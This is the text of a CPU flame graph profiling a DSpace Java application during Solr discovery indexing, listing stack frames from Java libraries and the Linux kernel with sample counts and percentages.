+java/net/URI:::<init> (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/apache/http/entity/mime/Header:::addField (4 samples, 1.91%) +o.. + + +[libjvm.so] (1 samples, 0.48%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getPropertyAsType (16 samples, 7.66%) +org/dspace.. + + +java/util/IdentityHashMap:::put (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/TableRowIterator:::next (2 samples, 0.96%) + + + +__GI___libc_write (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (8 samples, 3.83%) +org/.. + + +futex_wait_queue_me (24 samples, 11.48%) +futex_wait_queue_me + + +perf_pmu_enable.part.0 (16 samples, 7.66%) +perf_pmu_e.. + + +org/dspace/core/Context:::removeCached (1 samples, 0.48%) + + + +org/apache/http/impl/conn/ProxySelectorRoutePlanner:::determineRoute (1 samples, 0.48%) + + + +JVM_DoPrivileged (1 samples, 0.48%) + + + +tcp_v4_rcv (3 samples, 1.44%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.48%) + + + +do_syscall_64 (24 samples, 11.48%) +do_syscall_64 + + +sock_def_readable (1 samples, 0.48%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.48%) + + + +org/dspace/browse/BrowseIndex:::getBrowseIndices (1 samples, 0.48%) + + + +ipv4_dst_check (1 samples, 0.48%) + + + +__local_bh_enable_ip (5 samples, 2.39%) +_.. + + +poll_schedule_timeout.constprop.0 (2 samples, 0.96%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (12 samples, 5.74%) +org/apa.. + + +java/net/URI:::<init> (1 samples, 0.48%) + + + +org/dspace/discovery/BitstreamContentStream:::getStream (1 samples, 0.48%) + + + +call_stub (134 samples, 64.11%) +call_stub + + +java/net/URLEncoder:::encode (1 samples, 0.48%) + + + +org/dspace/eperson/Group:::find (1 samples, 0.48%) + + + +org/postgresql/jdbc/PgPreparedStatement:::executeQuery (1 samples, 0.48%) + + + +nf_hook_slow (1 samples, 0.48%) + + + +intel_tfa_pmu_enable_all (16 samples, 7.66%) +intel_tfa_.. + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.48%) + + + +java/util/TimSort:::sort (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceImpl:::indexContent (130 samples, 62.20%) +org/dspace/discovery/SolrServiceImpl:::indexContent + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.48%) + + + +dequeue_task_fair (1 samples, 0.48%) + + + +org/apache/log4j/AppenderSkeleton:::doAppend (5 samples, 2.39%) +o.. + + +org/apache/http/entity/mime/FormBodyPart:::<init> (6 samples, 2.87%) +or.. + + +try_to_wake_up (1 samples, 0.48%) + + + +Java_java_io_FileOutputStream_writeBytes (1 samples, 0.48%) + + + +nf_conntrack_in (2 samples, 0.96%) + + + +sk_stream_alloc_skb (1 samples, 0.48%) + + + +Java_java_net_PlainSocketImpl_socketSetOption0 (1 samples, 0.48%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::rewriteRequestURI (1 samples, 0.48%) + + + +org/apache/http/impl/io/ChunkedOutputStream:::flushCache (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/dspace/content/Item:::getCollections (3 samples, 1.44%) + + + +[unknown] (1 samples, 0.48%) + + + +__poll (1 samples, 0.48%) + + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeanNamesForType (9 samples, 4.31%) +org/s.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (8 samples, 3.83%) +org/.. + + +org/apache/solr/common/params/ModifiableSolrParams:::add (3 samples, 1.44%) + + + +hrtimer_start_range_ns (1 samples, 0.48%) + + + +__ip_local_out (5 samples, 2.39%) +_.. + + +[libjvm.so] (134 samples, 64.11%) +[libjvm.so] + + +do_syscall_64 (24 samples, 11.48%) +do_syscall_64 + + +__x64_sys_sendto (20 samples, 9.57%) +__x64_sys_sen.. + + +java/net/SocketInputStream:::read (2 samples, 0.96%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/apache/log4j/Category:::error (1 samples, 0.48%) + + + +java/lang/reflect/Method:::invoke (134 samples, 64.11%) +java/lang/reflect/Method:::invoke + + +org/apache/http/impl/entity/StrictContentLengthStrategy:::determineLength (1 samples, 0.48%) + + + +[libjvm.so] (4 samples, 1.91%) +[.. + + +[libjli.so] (134 samples, 64.11%) +[libjli.so] + + +java/util/ArrayList:::sort (1 samples, 0.48%) + + + +schedule_hrtimeout_range_clock (2 samples, 0.96%) + + + +org/apache/log4j/helpers/ISO8601DateFormat:::format (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::querySingleTable (1 samples, 0.48%) + + + +__vsnprintf_internal (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (1 samples, 0.48%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (2 samples, 0.96%) + + + +org/springframework/beans/factory/support/DefaultListableBeanFactory:::getBeansOfType (12 samples, 5.74%) +org/spr.. + + +[unknown] (27 samples, 12.92%) +[unknown] + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (1 samples, 0.48%) + + + +java/lang/String:::equals (1 samples, 0.48%) + + + +org/apache/commons/lang/time/DateUtils:::isSameDay (1 samples, 0.48%) + + + +java/lang/Object:::clone (1 samples, 0.48%) + + + +java/lang/StringBuilder:::<init> (1 samples, 0.48%) + + + +org/apache/solr/common/util/XML:::escape (5 samples, 2.39%) +o.. + + +sun/util/calendar/ZoneInfo:::clone (1 samples, 0.48%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (1 samples, 0.48%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::rewriteRequestURI (1 samples, 0.48%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (2 samples, 0.96%) + + + +psi_task_change (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +clock_gettime@GLIBC_2.2.5 (1 samples, 0.48%) + + + +org/dspace/browse/SolrBrowseCreateDAO:::additionalIndex (18 samples, 8.61%) +org/dspace/b.. + + +[libjvm.so] (1 samples, 0.48%) + + + +__wake_up_common (1 samples, 0.48%) + + + +org/apache/commons/lang/time/DateUtils:::isSameDay (2 samples, 0.96%) + + + +org/apache/log4j/Category:::callAppenders (5 samples, 2.39%) +o.. + + +org/dspace/content/DSpaceObject$MetadataCache:::get (1 samples, 0.48%) + + + +__tcp_push_pending_frames (14 samples, 6.70%) +__tcp_pus.. + + +tcp_sendmsg (17 samples, 8.13%) +tcp_sendmsg + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (1 samples, 0.48%) + + + +tcp_rcv_established (2 samples, 0.96%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeVal (6 samples, 2.87%) +or.. + + +do_syscall_64 (2 samples, 0.96%) + + + +nf_conntrack_tcp_packet (2 samples, 0.96%) + + + +new_sync_write (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.48%) + + + +java/lang/String:::toLowerCase (2 samples, 0.96%) + + + +__netif_receive_skb_one_core (5 samples, 2.39%) +_.. + + +__vsnprintf_internal (2 samples, 0.96%) + + + +vfs_write (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (1 samples, 0.48%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (13 samples, 6.22%) +org/apac.. + + +org/apache/solr/client/solrj/request/QueryRequest:::process (11 samples, 5.26%) +org/ap.. + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (9 samples, 4.31%) +org/a.. + + +org/apache/http/client/utils/URLEncodedUtils:::urlDecode (1 samples, 0.48%) + + + +entry_SYSCALL_64_after_hwframe (2 samples, 0.96%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::encode (8 samples, 3.83%) +org/.. + + +java/lang/StringBuilder:::toString (1 samples, 0.48%) + + + +__sched_text_start (17 samples, 8.13%) +__sched_tex.. + + +java/net/AbstractPlainSocketImpl:::setOption (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (15 samples, 7.18%) +org/apach.. + + +simple_copy_to_iter (1 samples, 0.48%) + + + +__send (24 samples, 11.48%) +__send + + +org/dspace/content/Bundle:::getName (1 samples, 0.48%) + + + +org/apache/http/client/protocol/RequestClientConnControl:::process (1 samples, 0.48%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::doCreateBean (1 samples, 0.48%) + + + +ip_queue_xmit (14 samples, 6.70%) +ip_queue_.. + + +java/util/LinkedList$ListItr:::next (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.48%) + + + +sun/net/spi/DefaultProxySelector$3:::run (1 samples, 0.48%) + + + +__intel_pmu_enable_all.constprop.0 (16 samples, 7.66%) +__intel_pm.. + + +org/apache/log4j/WriterAppender:::subAppend (1 samples, 0.48%) + + + +futex_wait (24 samples, 11.48%) +futex_wait + + +org/apache/commons/dbcp/DelegatingResultSet:::getTimestamp (1 samples, 0.48%) + + + +update_curr (1 samples, 0.48%) + + + +do_sys_poll (1 samples, 0.48%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (13 samples, 6.22%) +org/apac.. + + +ip_protocol_deliver_rcu (3 samples, 1.44%) + + + +finish_task_switch (16 samples, 7.66%) +finish_tas.. + + +sun/net/spi/DefaultProxySelector$3:::run (1 samples, 0.48%) + + + +nf_hook_slow (4 samples, 1.91%) +n.. + + +JVM_DoPrivileged (2 samples, 0.96%) + + + +org/springframework/context/annotation/ConfigurationClassPostProcessor$ImportAwareBeanPostProcessor:::postProcessBeforeInitialization (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/dspace/core/PluginManager:::configureNamedPlugin (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +strncpy (1 samples, 0.48%) + + + +java/lang/System:::identityHashCode (1 samples, 0.48%) + + + +java/util/HashMap:::resize (1 samples, 0.48%) + + + +ksys_write (1 samples, 0.48%) + + + +[libjvm.so] (134 samples, 64.11%) +[libjvm.so] + + +org/dspace/storage/rdbms/TableRow:::setColumn (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.48%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (4 samples, 1.91%) +o.. + + +[libjvm.so] (134 samples, 64.11%) +[libjvm.so] + + +org/springframework/beans/PropertyEditorRegistrySupport:::createDefaultEditors (16 samples, 7.66%) +org/spring.. + + +lock_sock_nested (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.48%) + + + +JVM_Clone (1 samples, 0.48%) + + + +java/lang/String:::toLowerCase (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/apache/commons/dbcp/PoolingConnection$PStmtKey:::equals (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceSpellIndexingPlugin:::additionalIndex (2 samples, 0.96%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (13 samples, 6.22%) +org/apac.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (15 samples, 7.18%) +org/apach.. + + +Java_java_net_SocketInputStream_socketRead0 (4 samples, 1.91%) +J.. + + +do_softirq_own_stack (5 samples, 2.39%) +d.. + + +org/apache/log4j/AppenderSkeleton:::doAppend (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (2 samples, 0.96%) + + + +java/util/regex/Pattern$Branch:::match (2 samples, 0.96%) + + + +java/security/AccessController:::doPrivileged (4 samples, 1.91%) +j.. + + +[libjvm.so] (1 samples, 0.48%) + + + +org/dspace/content/DSpaceObject:::getMetadata (1 samples, 0.48%) + + + +switch_fpu_return (1 samples, 0.48%) + + + +nft_do_chain_inet (2 samples, 0.96%) + + + +org/apache/http/impl/entity/EntitySerializer:::doSerialize (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +tcp_v4_do_rcv (2 samples, 0.96%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +do_syscall_64 (1 samples, 0.48%) + + + +perf_pmu_enable.part.0 (24 samples, 11.48%) +perf_pmu_enable.p.. + + +all (209 samples, 100%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (8 samples, 3.83%) +org/.. + + +java/util/regex/Pattern$BmpCharProperty:::match (1 samples, 0.48%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.48%) + + + +tick_sched_timer (1 samples, 0.48%) + + + +org/springframework/core/env/MutablePropertySources:::addLast (1 samples, 0.48%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.48%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (1 samples, 0.48%) + + + +tcp_queue_rcv (1 samples, 0.48%) + + + +entry_SYSCALL_64_after_hwframe (24 samples, 11.48%) +entry_SYSCALL_64_.. + + +__x64_sys_poll (1 samples, 0.48%) + + + +java/io/FileOutputStream:::write (1 samples, 0.48%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.48%) + + + +java/lang/String:::toLowerCase (1 samples, 0.48%) + + + +java/lang/StringBuilder:::append (1 samples, 0.48%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/dspace/discovery/SearchUtils:::getIgnoredMetadataFields (1 samples, 0.48%) + + + +org/dspace/content/ItemIterator:::next (2 samples, 0.96%) + + + +JNU_ThrowByName (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +nft_do_chain (1 samples, 0.48%) + + + +[libjvm.so] (134 samples, 64.11%) +[libjvm.so] + + +__x64_sys_poll (1 samples, 0.48%) + + + +__mnt_want_write_file (1 samples, 0.48%) + + + +__wake_up_common_lock (1 samples, 0.48%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (3 samples, 1.44%) + + + +org/dspace/servicemanager/DSpaceServiceManager:::getServicesByType (13 samples, 6.22%) +org/dspa.. + + +inet6_sendmsg (17 samples, 8.13%) +inet6_sendmsg + + +java/io/FileOutputStream:::writeBytes (1 samples, 0.48%) + + + +org/apache/http/impl/io/AbstractMessageParser:::parse (1 samples, 0.48%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.96%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (14 samples, 6.70%) +org/apach.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/TableRowIterator:::<init> (2 samples, 0.96%) + + + +[unknown] (1 samples, 0.48%) + + + +Interpreter (134 samples, 64.11%) +Interpreter + + +__libc_recv (20 samples, 9.57%) +__libc_recv + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (2 samples, 0.96%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::isStale (1 samples, 0.48%) + + + +org/apache/http/impl/entity/EntitySerializer:::serialize (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (10 samples, 4.78%) +org/a.. + + +rb_insert_color (1 samples, 0.48%) + + + +JVM_FillInStackTrace (2 samples, 0.96%) + + + +__softirqentry_text_start (5 samples, 2.39%) +_.. + + +org/apache/http/impl/conn/ProxySelectorRoutePlanner:::determineProxy (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +Java_java_lang_Throwable_fillInStackTrace (2 samples, 0.96%) + + + +org/dspace/content/DSpaceObject$MetadataCache:::get (4 samples, 1.91%) +o.. + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (8 samples, 3.83%) +org/.. + + +org/apache/http/impl/io/AbstractSessionInputBuffer:::fillBuffer (1 samples, 0.48%) + + + +enqueue_hrtimer (1 samples, 0.48%) + + + +entry_SYSCALL_64_after_hwframe (20 samples, 9.57%) +entry_SYSCALL.. + + +ip_local_deliver (3 samples, 1.44%) + + + +sun/nio/cs/UTF_8$Decoder:::decode (1 samples, 0.48%) + + + +entry_SYSCALL_64_after_hwframe (24 samples, 11.48%) +entry_SYSCALL_64_.. + + +ext4_file_write_iter (1 samples, 0.48%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.96%) + + + +deactivate_task (1 samples, 0.48%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::determineRoute (1 samples, 0.48%) + + + +sock_sendmsg (18 samples, 8.61%) +sock_sendmsg + + +JVM_InvokeMethod (134 samples, 64.11%) +JVM_InvokeMethod + + +java/lang/Throwable:::fillInStackTrace (2 samples, 0.96%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::isStale (1 samples, 0.48%) + + + +java/lang/String:::equals (1 samples, 0.48%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::doWriteTo (12 samples, 5.74%) +org/apa.. + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::predictBeanType (3 samples, 1.44%) + + + +org/dspace/browse/SolrBrowseCreateDAO:::<init> (1 samples, 0.48%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::isStale (4 samples, 1.91%) +o.. + + +finish_task_switch (24 samples, 11.48%) +finish_task_switch + + +org/apache/commons/logging/LogFactory$1:::run (2 samples, 0.96%) + + + +java/net/SocketInputStream:::read (4 samples, 1.91%) +j.. + + +org/springframework/beans/factory/support/AbstractBeanFactory:::getMergedLocalBeanDefinition (2 samples, 0.96%) + + + +schedule (17 samples, 8.13%) +schedule + + +skb_copy_datagram_iter (2 samples, 0.96%) + + + +org/apache/log4j/helpers/PatternConverter:::format (1 samples, 0.48%) + + + +org/dspace/content/ItemIterator:::nextByRow (2 samples, 0.96%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.48%) + + + +arrayof_jint_fill (1 samples, 0.48%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (1 samples, 0.48%) + + + +[libjvm.so] (4 samples, 1.91%) +[.. + + +org/apache/http/client/utils/URIBuilder:::buildString (1 samples, 0.48%) + + + +org/apache/log4j/WriterAppender:::subAppend (3 samples, 1.44%) + + + +Interpreter (134 samples, 64.11%) +Interpreter + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (9 samples, 4.31%) +org/a.. + + +update_process_times (1 samples, 0.48%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.48%) + + + +org/apache/commons/logging/LogFactory:::getFactory (5 samples, 2.39%) +o.. + + +org/dspace/servicemanager/spring/SpringServiceManager:::getServicesByType (12 samples, 5.74%) +org/dsp.. + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (8 samples, 3.83%) +org/.. + + +java/lang/reflect/Proxy:::newProxyInstance (1 samples, 0.48%) + + + +nft_do_chain_inet (1 samples, 0.48%) + + + +dequeue_entity (1 samples, 0.48%) + + + +__ip_queue_xmit (14 samples, 6.70%) +__ip_queu.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.96%) + + + +org/dspace/storage/rdbms/TableRowIterator:::next (3 samples, 1.44%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +java/util/HashMap:::resize (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/TableRowIterator:::next (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.48%) + + + +do_sys_poll (2 samples, 0.96%) + + + +[libjvm.so] (4 samples, 1.91%) +[.. + + +java/security/AccessController:::doPrivileged (3 samples, 1.44%) + + + +org/dspace/content/Bundle:::<init> (7 samples, 3.35%) +org.. + + +schedule_hrtimeout_range_clock (1 samples, 0.48%) + + + +java/util/TimSort:::countRunAndMakeAscending (1 samples, 0.48%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::receiveResponseHeader (1 samples, 0.48%) + + + +do_softirq.part.0 (5 samples, 2.39%) +d.. + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.48%) + + + +dequeue_entity (1 samples, 0.48%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (14 samples, 6.70%) +org/apach.. + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::isStale (4 samples, 1.91%) +o.. + + +__intel_pmu_enable_all.constprop.0 (24 samples, 11.48%) +__intel_pmu_enabl.. + + +org/apache/http/protocol/RequestTargetHost:::process (1 samples, 0.48%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (24 samples, 11.48%) +pthread_cond_wait.. + + +java/net/SocketTimeoutException:::<init> (2 samples, 0.96%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (14 samples, 6.70%) +org/apach.. + + +org/springframework/core/env/StandardEnvironment:::customizePropertySources (10 samples, 4.78%) +org/s.. + + +scheduler_tick (1 samples, 0.48%) + + + +java/util/HashMap:::get (1 samples, 0.48%) + + + +org/apache/http/impl/DefaultConnectionReuseStrategy:::keepAlive (1 samples, 0.48%) + + + +[libjvm.so] (4 samples, 1.91%) +[.. + + +do_syscall_64 (1 samples, 0.48%) + + + +org/apache/http/impl/io/AbstractSessionInputBuffer:::fillBuffer (1 samples, 0.48%) + + + +sun/net/spi/DefaultProxySelector:::select (1 samples, 0.48%) + + + +net_rx_action (5 samples, 2.39%) +n.. + + +__netif_receive_skb (5 samples, 2.39%) +_.. + + +ip_rcv_finish (3 samples, 1.44%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceImpl:::requiresIndexing (11 samples, 5.26%) +org/ds.. + + +org/apache/commons/pool/impl/GenericKeyedObjectPool:::borrowObject (1 samples, 0.48%) + + + +ip_local_deliver_finish (3 samples, 1.44%) + + + +ipv4_conntrack_local (2 samples, 0.96%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/apache/solr/client/solrj/SolrRequest:::getPath (1 samples, 0.48%) + + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.48%) + + + +org/dspace/content/DSpaceObject:::getMetadata (4 samples, 1.91%) +o.. + + +hrtimer_start_range_ns (1 samples, 0.48%) + + + +org/apache/http/impl/entity/EntitySerializer:::serialize (13 samples, 6.22%) +org/apac.. + + +jbyte_disjoint_arraycopy (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeXML (7 samples, 3.35%) +org.. + + +java/util/regex/Pattern$BmpCharProperty:::match (2 samples, 0.96%) + + + +org/apache/log4j/WriterAppender:::append (1 samples, 0.48%) + + + +vtable stub (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.48%) + + + +__vfprintf_internal (1 samples, 0.48%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (5 samples, 2.39%) +o.. + + +java/lang/String:::toLowerCase (2 samples, 0.96%) + + + +__kmalloc_reserve.isra.0 (1 samples, 0.48%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (13 samples, 6.22%) +org/apac.. + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::query (2 samples, 0.96%) + + + +__skb_datagram_iter (2 samples, 0.96%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.48%) + + + +java/lang/String:::toLowerCase (2 samples, 0.96%) + + + +__x64_sys_recvfrom (20 samples, 9.57%) +__x64_sys_rec.. + + +reweight_entity (1 samples, 0.48%) + + + +[libjvm.so] (4 samples, 1.91%) +[.. + + +org/dspace/content/Item:::getBundles (9 samples, 4.31%) +org/d.. + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::predictBeanType (1 samples, 0.48%) + + + +tcp_push (14 samples, 6.70%) +tcp_push + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.48%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (1 samples, 0.48%) + + + +org/apache/http/impl/io/ChunkedOutputStream:::close (1 samples, 0.48%) + + + +ktime_get_ts64 (1 samples, 0.48%) + + + +__cgroup_bpf_run_filter_skb (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (1 samples, 0.48%) + + + +__ip_finish_output (7 samples, 3.35%) +__i.. + + +__vfs_write (1 samples, 0.48%) + + + +java/util/HashMap$ValueIterator:::next (1 samples, 0.48%) + + + +x86_pmu_enable (16 samples, 7.66%) +x86_pmu_en.. + + +org/apache/http/impl/conn/ProxySelectorRoutePlanner:::determineRoute (1 samples, 0.48%) + + + +org/apache/http/impl/conn/DefaultHttpResponseParser:::parseHead (1 samples, 0.48%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::isTypeMatch (2 samples, 0.96%) + + + +__vfprintf_internal (2 samples, 0.96%) + + + +org/springframework/core/env/AbstractEnvironment:::<init> (16 samples, 7.66%) +org/spring.. + + +org/dspace/core/PluginManager:::getNamedPlugin (1 samples, 0.48%) + + + +intel_tfa_pmu_enable_all (24 samples, 11.48%) +intel_tfa_pmu_ena.. + + +java/lang/String:::intern (1 samples, 0.48%) + + + +iptable_security_hook (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::next (1 samples, 0.48%) + + + +sk_wait_data (17 samples, 8.13%) +sk_wait_data + + +default_wake_function (1 samples, 0.48%) + + + +inet6_recvmsg (20 samples, 9.57%) +inet6_recvmsg + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.48%) + + + +update_cfs_group (1 samples, 0.48%) + + + +org/apache/log4j/Category:::info (5 samples, 2.39%) +o.. + + +org/apache/http/impl/conn/DefaultClientConnection:::receiveResponseHeader (1 samples, 0.48%) + + + +java/net/SocketInputStream:::read (1 samples, 0.48%) + + + +activate_task (1 samples, 0.48%) + + + +sock_recvmsg (20 samples, 9.57%) +sock_recvmsg + + +[libjvm.so] (2 samples, 0.96%) + + + +org/dspace/content/Item:::getCommunities (2 samples, 0.96%) + + + +call_stub (134 samples, 64.11%) +call_stub + + +__hrtimer_run_queues (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (9 samples, 4.31%) +org/a.. + + +itable stub (1 samples, 0.48%) + + + +ip_finish_output (8 samples, 3.83%) +ip_f.. + + +__x64_sys_poll (2 samples, 0.96%) + + + +java/lang/Throwable:::printStackTrace (1 samples, 0.48%) + + + +org/apache/http/impl/client/ClientParamsStack:::getParameter (1 samples, 0.48%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.48%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (1 samples, 0.48%) + + + +jshort_disjoint_arraycopy (2 samples, 0.96%) + + + +_register_finalizer_Java (1 samples, 0.48%) + + + +java/security/AccessController:::doPrivileged (1 samples, 0.48%) + + + +schedule_hrtimeout_range (2 samples, 0.96%) + + + +org/dspace/content/Collection:::<init> (2 samples, 0.96%) + + + +call_stub (2 samples, 0.96%) + + + +java/lang/String:::split (1 samples, 0.48%) + + + +java/util/Formatter:::format (5 samples, 2.39%) +j.. + + +java/net/PlainSocketImpl:::socketSetOption0 (1 samples, 0.48%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.48%) + + + +smp_apic_timer_interrupt (1 samples, 0.48%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.96%) + + + +org/dspace/storage/rdbms/TableRowIterator:::<init> (1 samples, 0.48%) + + + +inet_send_prepare (1 samples, 0.48%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.48%) + + + +__alloc_skb (1 samples, 0.48%) + + + +pollwake (1 samples, 0.48%) + + + +org/apache/http/impl/conn/DefaultHttpResponseParser:::parseHead (1 samples, 0.48%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::receiveResponseHeader (1 samples, 0.48%) + + + +__sys_recvfrom (20 samples, 9.57%) +__sys_recvfrom + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getName (7 samples, 3.35%) +org.. + + +java/util/Arrays:::sort (1 samples, 0.48%) + + + +__tcp_transmit_skb (14 samples, 6.70%) +__tcp_tra.. + + +x86_pmu_enable (24 samples, 11.48%) +x86_pmu_enable + + +do_syscall_64 (20 samples, 9.57%) +do_syscall_64 + + +org/springframework/core/GenericTypeResolver:::doResolveTypeArguments (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceImpl:::writeDocument (41 samples, 19.62%) +org/dspace/discovery/SolrServi.. + + +org/dspace/content/Item:::decache (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceResourceRestrictionPlugin:::additionalIndex (2 samples, 0.96%) + + + +queued_spin_lock_slowpath (1 samples, 0.48%) + + + 